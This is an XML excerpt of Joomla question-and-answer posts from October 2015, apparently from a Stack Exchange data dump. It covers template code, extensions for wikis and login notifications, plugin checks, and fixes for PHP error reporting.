  <row Id="13848" PostTypeId="2" ParentId="13841" CreationDate="2015-10-04T16:53:25.867" Score="2" Body="&lt;p&gt;First of all, you are trying to add code without following Joomla! practices. Then, it is going to be difficult to achieve what your are looking for.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For instance, Javascript code is generally located in /media folder. &lt;/li&gt;&#xA;&lt;li&gt;Also, a PHP file without &quot;defined('_JEXEC') or die();&quot; is a bad idea, not following the general security rule to prevent direct access to internal PHP files.&lt;/li&gt;&#xA;&lt;li&gt;Finally, htaccess has several rules to block direct access to certain files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To add raw code, it is better to install an extension following a controlled way. Please, check this JED category: &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow&quot;&gt;Coding &amp;amp; Scripts Integration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-10-04T16:53:25.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13850" PostTypeId="2" ParentId="13846" CreationDate="2015-10-04T21:42:34.610" Score="4" Body="&lt;p&gt;You can't create two cells the same time within a foreach loop. Change your code as below,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;intro_items)) : ?&amp;gt;&#xA;    &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;600&quot; border=&quot;0&quot; style=&quot;width: 580px !important;&quot;&amp;gt;&#xA;        &amp;lt;?php $count = 0; ?&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;            &amp;lt;?php if ($count%2 == 0) : ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;            &#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;td class=&quot;item column-&amp;lt;?php echo $rowcount;?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $this-&amp;gt;item = &amp;amp;$item;&#xA;                    echo $this-&amp;gt;loadTemplate('item');&#xA;                ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;?php if ($count%2 == 0) : ?&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;           &#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php $count++; ?&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7031" LastActivityDate="2015-10-04T21:42:34.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13851" PostTypeId="2" ParentId="13838" CreationDate="2015-10-04T21:53:10.603" Score="1" Body="&lt;p&gt;You can use .htaccess URL Rewrite replacing the numeric segment to something else but you have to make sure your item's alias column is unique in your component's table unless the same URL segments being generated will conflict.&lt;/p&gt;&#xA;" OwnerUserId="7031" LastActivityDate="2015-10-04T21:53:10.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13852" PostTypeId="1" CreationDate="2015-10-05T06:44:03.457" Score="1" ViewCount="383" Body="&lt;p&gt;I want to display gallery at module position associated with k2 item. Currently it display at bottom of K2 Item but I want to display it at Module Position &quot;Right&quot; How is it possible?&lt;a href=&quot;https://i.stack.imgur.com/ev83T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ev83T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dlmMh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlmMh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3967" LastActivityDate="2015-10-05T06:44:03.457" Title="k2 simple image gallery display at module position" Tags="|plugin|k2|positions|" AnswerCount="0" CommentCount="3" ClosedDate="2015-10-05T13:53:24.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="1" AcceptedAnswerId="13862" CreationDate="2015-10-05T10:31:29.177" Score="0" ViewCount="122" Body="&lt;p&gt;How can I reorder the Joomla articles in back end or (how can I change the ID number). Suppose there is an article with id number 10, I want to change this id to 9. How can I do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In menu items we are able to drag the items up and down. is there a such facility available for articles? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="126" LastEditDate="2015-10-06T04:59:32.327" LastActivityDate="2015-10-06T04:59:32.327" Title="How to reorder the articles in Joomla backend?" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13855" PostTypeId="1" CreationDate="2015-10-05T11:31:16.733" Score="0" ViewCount="136" Body="&lt;p&gt;This code will show the date of publishing like: 4:30 10/7/2015&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the date be like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 hours and 15 minutes ago&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WAxIE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WAxIE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this setting is on showcase modules (&quot;news show pro GK4&quot; in this case) for showing your recent articles with the date of publishing.&lt;/p&gt;&#xA;" OwnerUserId="5228" LastEditorUserId="126" LastEditDate="2015-10-08T16:05:35.490" LastActivityDate="2015-10-08T16:05:35.490" Title="In &quot;Date Format&quot; section, what code makes the date relative?" Tags="|php|date|format|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="1" AcceptedAnswerId="13859" CreationDate="2015-10-05T14:12:46.390" Score="0" ViewCount="474" Body="&lt;p&gt;I'm modifying the administrator panel in Joomla and when a user press &quot;Save and close&quot; in the edit module i want it to redirect to &lt;code&gt;/administrator&lt;/code&gt;, not &lt;code&gt;/administrator/index.php?option=com_modules&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this posible? I have searched in &lt;code&gt;/administrator/includes and administrator/components/mod_modules/module/view.php&lt;/code&gt;, and have found where the class is and where it is executed, but no luck yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding for PHP is small, so keep it simple. &lt;/p&gt;&#xA;" OwnerUserId="4160" LastEditorUserId="1629" LastEditDate="2015-10-05T14:15:58.460" LastActivityDate="2015-10-05T15:58:02.867" Title="Save and Close redirect" Tags="|php|joomla-3.4|administrator|custom-action|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="2" ParentId="13858" CreationDate="2015-10-05T15:58:02.867" Score="1" Body="&lt;p&gt;Open the file &lt;code&gt;ROOT/administrator/components/com_modules/controllers/module.php&lt;/code&gt;, and edit at about line 223 (right after &lt;code&gt;parent::save($key, $urlVar);&lt;/code&gt;, and before the closing &lt;code&gt;}&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setredirect('index.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer: This is a core hack, and not recommended. Your changes will be lost when you update Joomla.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-05T15:58:02.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13860" PostTypeId="1" CreationDate="2015-10-05T18:16:43.330" Score="1" ViewCount="3331" Body="&lt;p&gt;I am looking for free extension which would provide me with all the functionality of a wiki. I would like it to be as close to the Wikipedia page if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest the best way to go about this. would it be installing a wiki separately, then incorporating a plugin, or are there any good extensions out there?&lt;/p&gt;&#xA;" OwnerUserId="7054" LastActivityDate="2015-10-06T17:14:35.807" Title="Joomla Wiki Integration" Tags="|extensions|" AnswerCount="2" CommentCount="1" ClosedDate="2015-10-06T20:55:47.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="2" ParentId="13827" CreationDate="2015-10-05T18:25:59.227" Score="2" Body="&lt;p&gt;I finally gave up on this method and replaced the $link on the Joomla custom editor Button with an empty reference &quot;#&quot;, and managed the iframe display outside in the Javascript code attached to the $button-&gt;onclick event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using a Bootstrap popup window in which I load the external Iframe, i solved the issue. This just required to change the approach to the issue. By loading the external Iframe in the Javascript i am free from the Joomla Framework default base reference introduced in the Editor button links.&lt;/p&gt;&#xA;" OwnerUserId="7037" LastActivityDate="2015-10-05T18:25:59.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13862" PostTypeId="2" ParentId="13853" CreationDate="2015-10-06T01:56:59.367" Score="2" Body="&lt;p&gt;In order to use drag-and-drop ordering you must sort by the order column. Click the up/down caret column heading to do so. &lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2015-10-06T01:56:59.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13863" PostTypeId="1" CreationDate="2015-10-06T06:45:12.473" Score="1" ViewCount="519" Body="&lt;p&gt;I would like to be notified via email when someone is logging-in to Joomla Administration interface as Superuser, and also know his ip address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="7010" LastEditorUserId="126" LastEditDate="2015-10-06T16:46:37.797" LastActivityDate="2015-10-06T17:02:46.607" Title="Email notifications when users logging in to the administrator site" Tags="|administrator|security|administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13865" PostTypeId="2" ParentId="13860" CreationDate="2015-10-06T08:49:20.057" Score="2" Body="&lt;p&gt;I'm actually going to answer this as I did not find any concrete solutions.&lt;/p&gt;&#xA;&lt;p&gt;You have 2 options here:&lt;/p&gt;&#xA;&lt;h3&gt;Option 1:&lt;/h3&gt;&#xA;&lt;p&gt;Download and install &lt;a href=&quot;https://www.mediawiki.org/wiki/MediaWiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;Media Wiki&lt;/a&gt; on a &lt;strong&gt;sub-domain&lt;/strong&gt;. It's a standalone system which looks exactly like Wikipedia.&lt;/p&gt;&#xA;&lt;h3&gt;Option 2:&lt;/h3&gt;&#xA;&lt;p&gt;Use an FAQ extension, such as &lt;a href=&quot;http://extensions.joomla.org/extension/directory-a-documentation/faq/freestyle-faqs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freestyle FAQs&lt;/a&gt;. More extensions can be found under the &lt;a href=&quot;http://extensions.joomla.org/tags/faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ category&lt;/a&gt; on the Joomla Extensions Directory.&lt;/p&gt;&#xA;&lt;h3&gt;Option 3:&lt;/h3&gt;&#xA;&lt;p&gt;Don't use an extension or standalone system at all, but instead make full use of Joomla articles. You can create a category, tags and have you own menu items dedicated to your Wiki content. It will take a little longer to setup than an FAQ extension probably, however it means you don't add unnecessary bulk to your site.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-10-06T08:49:20.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13866" PostTypeId="2" ParentId="13863" CreationDate="2015-10-06T08:56:42.357" Score="3" Body="&lt;p&gt;Yes, it is possible with 3rd party extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're looking for a free one, maybe try something like &lt;a href=&quot;http://extensions.joomla.org/profile/extension/access-a-security/site-security/user-login-tracking&quot; rel=&quot;nofollow&quot;&gt;User Login Tracking&lt;/a&gt;. It send you an email, and stores the following data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IP address&lt;/li&gt;&#xA;&lt;li&gt;Time-stamp &lt;/li&gt;&#xA;&lt;li&gt;Username&lt;/li&gt;&#xA;&lt;li&gt;User ID &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may also want to look at &lt;a href=&quot;http://extensions.joomla.org/profile/extension/access-a-security/site-security/jsecure-lite&quot; rel=&quot;nofollow&quot;&gt;JSecure Lite&lt;/a&gt; which I think provides similar features.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-06T08:56:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13867" PostTypeId="2" ParentId="13650" CreationDate="2015-10-06T15:18:02.410" Score="10" Body="&lt;p&gt;You can also use Joomla's &lt;code&gt;replacePrefix&lt;/code&gt; function which dumps out the query in a format that can be inserted straight into the likes of PhpMyAdmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('something'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__content')); &#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Dump the query&#xA;echo $db-&amp;gt;replacePrefix((string) $query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will output the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `something` FROM `jos_content`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-06T15:18:02.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="1" AcceptedAnswerId="13874" CreationDate="2015-10-06T16:10:40.270" Score="0" ViewCount="91" Body="&lt;p&gt;In a system plugin I need to have two flags, one to check if there are more than one language in administration and another flag to check if a two factor authentication is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried the following script and it is working, but I would like to know if there is a better/recommended way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check more than 1 installed language&#xA;jimport('joomla.language.helper');&#xA;$langs = JLanguageHelper::createLanguageList(null, JPATH_ADMINISTRATOR, false, true);&#xA;$flagLang  = (count($langs) &amp;gt; 1) ? true : false;&#xA;&#xA;// Check two factor authentication need&#xA;FOFPlatform::getInstance()-&amp;gt;importPlugin('twofactorauth');&#xA;$factor = FOFPlatform::getInstance()-&amp;gt;runPlugins('onUserTwofactorIdentify', array());&#xA;$flagFactor  = (!empty($factor)) ? true : false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2015-10-06T20:48:43.207" LastActivityDate="2015-10-07T15:24:24.287" Title="Flag based on Language and Two Factor Authentication" Tags="|joomla-3.x|php|development|plugin|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="2" ParentId="13863" CreationDate="2015-10-06T16:50:42.717" Score="3" Body="&lt;p&gt;On a such question, it's not possible to not mention &lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;Admin Tools by Akeeba&lt;/a&gt;&lt;/strong&gt;. It provides an application firewall, where you can adjust such and even more settings that will enhance the security of your Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it to notify you when anyone is logging-in and record its ip. It can also track un-successful login attempts and store the failed credentials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes in 2 versions free and commercial (can't remember the exact features of each version).&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-10-06T17:02:46.607" LastActivityDate="2015-10-06T17:02:46.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13870" PostTypeId="2" ParentId="13860" CreationDate="2015-10-06T17:14:35.807" Score="2" Body="&lt;p&gt;Similar to @Lodder's Option3, it could be a &lt;strong&gt;CCK extension&lt;/strong&gt; dedicated for your wiki content, and keep the Joomla core articles for the rest content of your site - so it will be a bit cleaner in the backend - plus you could have any custom extra fields or functionality you might need for the wiki pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do a search for &lt;a href=&quot;https://www.google.gr/search?client=safari&amp;amp;rls=en&amp;amp;q=joomla%20cck&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;gfe_rd=cr&amp;amp;ei=KQEUVpDpBNKCoQebja3ACg&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla CCKs&lt;/strong&gt;&lt;/a&gt; you will find a lot of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course &lt;strong&gt;&lt;a href=&quot;http://www.joomlaworks.net/extensions/free/k2&quot; rel=&quot;nofollow&quot;&gt;K2&lt;/a&gt;&lt;/strong&gt; by JoomlaWorks is a an option and generally is quite easy to get familiar with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more advanced things, you could look for something like &lt;strong&gt;&lt;a href=&quot;http://fabrikar.com&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;a href=&quot;http://www.mintjoomla.com/joomla-components/cobalt.html&quot; rel=&quot;nofollow&quot;&gt;Cobalt&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-10-06T17:14:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13871" PostTypeId="1" CreationDate="2015-10-06T19:36:59.393" Score="7" ViewCount="1551" Body="&lt;p&gt;I'm sure this sounds like a silly question but I am new to the MVC framework with Joomla and I haven't found any documentation that gives a clear definition. All I know so far is that the view.html.php file is entry file to the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm finding it difficult distinguishing between the two and I basically want to know how they work and how both files work together? Your feedback would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2015-10-12T05:51:55.180" Title="What does the view.html.php and default.php file do in the view section?" Tags="|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13872" PostTypeId="2" ParentId="13871" CreationDate="2015-10-06T21:09:11.147" Score="8" Body="&lt;p&gt;It is just a best practice used in many frameworks. The idea is to keep your HTML code in files which are as simple as possible (meaning almost no PHP code) so that they are easy to maintain / reuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically use the JView (view.html.php) class which contains the data you want to display. This class has a &lt;code&gt;display()&lt;/code&gt; method which will automatically be called by Joomla when trying to render the view. The display method will almost auto-magically load the default.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The view has a template (default.php) which has access to the properties of the view and has the responsibility of displaying HTML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the view has the responsibility of preparing the data for the template, so that the template does not have to do anything else but basic foreach loops or echoing variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the template is as dumb as possible, the view is a bit smarter but not too smart as it should not contain any business logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it make sense?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-10-07T16:58:58.170" LastActivityDate="2015-10-07T16:58:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13873" PostTypeId="1" AcceptedAnswerId="13878" CreationDate="2015-10-07T06:41:47.250" Score="1" ViewCount="92" Body="&lt;p&gt;Can I display Plugin result in module position.&#xA;I want to display allvideo plugin in module position.&#xA;AllVideo associate video with K2 Item.&lt;/p&gt;&#xA;" OwnerUserId="3967" LastEditorUserId="126" LastEditDate="2015-10-08T05:16:46.603" LastActivityDate="2015-10-08T05:16:46.603" Title="Plugin result at module position" Tags="|joomla-3.x|plugin|templates|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13874" PostTypeId="2" ParentId="13868" CreationDate="2015-10-07T07:30:21.273" Score="1" Body="&lt;p&gt;There is better way for getting &lt;code&gt;$flagFactor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$flagFactor = JPluginHelper::isEnabled('twofactorauth');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns &lt;code&gt;true&lt;/code&gt; if any of &lt;code&gt;twofactorauth&lt;/code&gt; type plugins is enabled and accessible by current user or guest. False otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your &lt;code&gt;? true : false&lt;/code&gt; is redundant, since &lt;code&gt;(count($langs) &amp;gt; 1)&lt;/code&gt; returns &lt;code&gt;boolean&lt;/code&gt; and therefore already equals to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check more than 1 installed language&#xA;jimport('joomla.language.helper');&#xA;$langs    = JLanguageHelper::createLanguageList(null, JPATH_ADMINISTRATOR, false, true);&#xA;$flagLang = (count($langs) &amp;gt; 1); // boolean&#xA;&#xA;// Check two factor authentication need&#xA;$flagFactor = JPluginHelper::isEnabled('twofactorauth'); // boolean&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-10-07T15:24:24.287" LastActivityDate="2015-10-07T15:24:24.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="1" CreationDate="2015-10-07T09:37:13.033" Score="0" ViewCount="61" Body="&lt;p&gt;I recently moved my joomla-based website from my computer (WAMP SERVER) to a shared hosting server on the internet. But i keep getting an error below my site's header that goes thus: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;&lt;em&gt;Strict Standards: Only variables should be passed by reference in /home_directory/hostname/publicfolder/plugins/system/yt/includes/libs/yt-minify.php on line 179&lt;/em&gt;&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do i do? I have set the permissions for both yt-minify.php and the config.php for the YT Framework to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help. #Joomla&lt;/p&gt;&#xA;" OwnerUserId="7061" LastActivityDate="2015-10-07T09:47:15.950" Title="Variables are not being passed by reference in yt-minify.php" Tags="|responsive-web-design|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13877" PostTypeId="2" ParentId="13876" CreationDate="2015-10-07T09:47:15.950" Score="1" Body="&lt;p&gt;Strict standard errors is something a lot of people have asked about. I hope you did some research first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, your live server is most likely running PHP 5.4+, where by default, strict error are set to appear. They're not an issue so you can simply turn them off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, go into your Joomla Global Configuration, and ensure you've seet Error Reporting to &lt;strong&gt;default&lt;/strong&gt;, then check to see if the error still occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does, you'll need to disable them by either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opening the server &lt;em&gt;php.ini&lt;/em&gt; and setting &lt;code&gt;error_reporting&lt;/code&gt; to &lt;code&gt;E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adding &lt;code&gt;php_value error_reporting 30711&lt;/code&gt; to your &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adding &lt;code&gt;ini_set('display_errors', '0'); error_reporting(E_ALL | E_STRICT);&lt;/code&gt; to your template's &lt;em&gt;index.php&lt;/em&gt;, however this is not recommended&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-07T09:47:15.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13878" PostTypeId="2" ParentId="13873" CreationDate="2015-10-07T10:17:51.707" Score="1" Body="&lt;p&gt;You have to create a new &quot;Custom HTML&quot; module and place it on the position you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use the Allvideo plugin inside this new module you use this sintax:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{format/provider}filename{/format/provider}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{youtube}he73js82|600|450|1{/youtube}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlaworks.net/support/docs/allvideos&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaworks.net/support/docs/allvideos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info about how to use it.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-07T10:17:51.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13879" PostTypeId="1" AcceptedAnswerId="13880" CreationDate="2015-10-07T11:52:18.210" Score="2" ViewCount="197" Body="&lt;p&gt;I have a Joomla site with lots of articles and two languages.&#xA;All content is the same, except for the weekdays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, in any way, to use the Joomla override language to create tags and add them to the articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I could use one article for both languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content is similar to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; __________________________&#xA;| Monday | tuesday | ...&#xA;|--------------------------&#xA;|10:00   | 9:00    | ...&#xA;|9:00    | 10:00   | ...&#xA;|...     | ...     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main reason for this is that the articles contain bus fares and if there is any change we need to change on both languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also open to other ideas.&lt;/p&gt;&#xA;" OwnerUserId="3690" LastEditorUserId="1629" LastEditDate="2015-10-10T16:10:53.867" LastActivityDate="2015-10-10T16:10:53.867" Title="Language tags in article content" Tags="|articles|tags|language|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13880" PostTypeId="2" ParentId="13879" CreationDate="2015-10-07T12:45:32.703" Score="5" Body="&lt;p&gt;You can use this language plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/easy-language&quot; rel=&quot;noreferrer&quot;&gt;http://extensions.joomla.org/extension/easy-language&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed in your article you can do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{lang en}Monday{/lang}{lang es}Lunes{/lang}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will display the text on the selected languaje.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it work for you&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-07T12:45:32.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13881" PostTypeId="1" AcceptedAnswerId="15213" CreationDate="2015-10-07T15:29:30.590" Score="2" ViewCount="686" Body="&lt;p&gt;I have created a website based on Joomla. I have many items in my Main-Left menu, which all link to &quot;Category blog layout&quot;s, which shows a bunch of articles in every category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a Next/previous for every menu item, so every time someone is in menu item 3 and presses Next comes into item 4 and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, what I need is pagination for my menu items and not just articles. Hope you guys can help. &lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="126" LastEditDate="2015-10-08T05:16:20.357" LastActivityDate="2017-03-19T19:58:21.897" Title="Next/previous for Menu items" Tags="|menu-item|pagination|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
